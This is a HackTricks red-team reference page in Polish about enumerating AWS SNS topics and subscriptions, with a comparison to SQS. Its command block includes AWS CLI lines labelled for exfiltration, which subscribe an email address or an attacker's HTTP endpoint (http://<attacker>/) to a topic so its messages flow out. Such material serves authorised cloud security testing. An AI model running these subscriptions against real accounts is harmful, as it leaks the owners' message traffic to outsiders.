AWS - SNS Enum

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

SNS

Amazon Simple Notification Service (Amazon SNS) jest opisany jako w pełni zarządzana usługa komunikacyjna. Obsługuje zarówno komunikację aplikacji do aplikacji (A2A), jak i aplikacji do osoby (A2P).

Kluczowe funkcje dla komunikacji A2A obejmują mechanizmy publikowania/subskrybowania (pub/sub). Te mechanizmy wprowadzają tematy, kluczowe dla umożliwienia wysokiej przepustowości, opartej na pchnięciu, wielu do wielu komunikacji. Ta funkcja jest bardzo korzystna w scenariuszach, które obejmują systemy rozproszone, mikrousługi i architektury serwerowe oparte na zdarzeniach. Wykorzystując te tematy, systemy publikujące mogą skutecznie rozprowadzać wiadomości do szerokiego zakresu systemów subskrybentów, ułatwiając wzorzec rozgałęziania wiadomości.

Różnice w porównaniu z SQS

SQS to usługa oparta na kolejkach, która umożliwia komunikację punkt-punkt, zapewniając przetwarzanie wiadomości przez jednego konsumenta. Oferuje dostarczanie co najmniej raz, obsługuje kolejki standardowe i FIFO, oraz umożliwia przechowywanie wiadomości w celu ponownych prób i opóźnionego przetwarzania. Z kolei SNS to usługa oparta na publikowaniu/subskrybowaniu, umożliwiająca komunikację jeden do wielu poprzez rozgłaszanie wiadomości do wielu subskrybentów jednocześnie. Obsługuje różne punkty końcowe subskrypcji, takie jak e-mail, SMS, funkcje Lambda oraz HTTP/HTTPS, oraz zapewnia mechanizmy filtrowania dla ukierunkowanego dostarczania wiadomości. Podczas gdy obie usługi umożliwiają odseparowanie między komponentami w systemach rozproszonych, SQS skupia się na komunikacji w kolejce, a SNS kładzie nacisk na wzorce komunikacji oparte na zdarzeniach i rozgałęzianiu.

Wyliczenie

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Zauważ, że jeśli temat jest typu FIFO, mogą być używani tylko subskrybenci korzystający z protokołu SQS (HTTP lub HTTPS nie mogą być używane).

Nawet jeśli --topic-arn zawiera region, upewnij się, że określisz poprawny region w --region lub otrzymasz błąd, który wygląda na brak dostępu, ale problemem jest region.

Nieuwierzytelniony dostęp

pageAWS - SNS Unauthenticated Enum

Eskalacja uprawnień

pageAWS - SNS Privesc

Po wykorzystaniu

pageAWS - SNS Post Exploitation

Trwałość

pageAWS - SNS Persistence

Referencje

Zdobądź wiedzę o hakowaniu AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated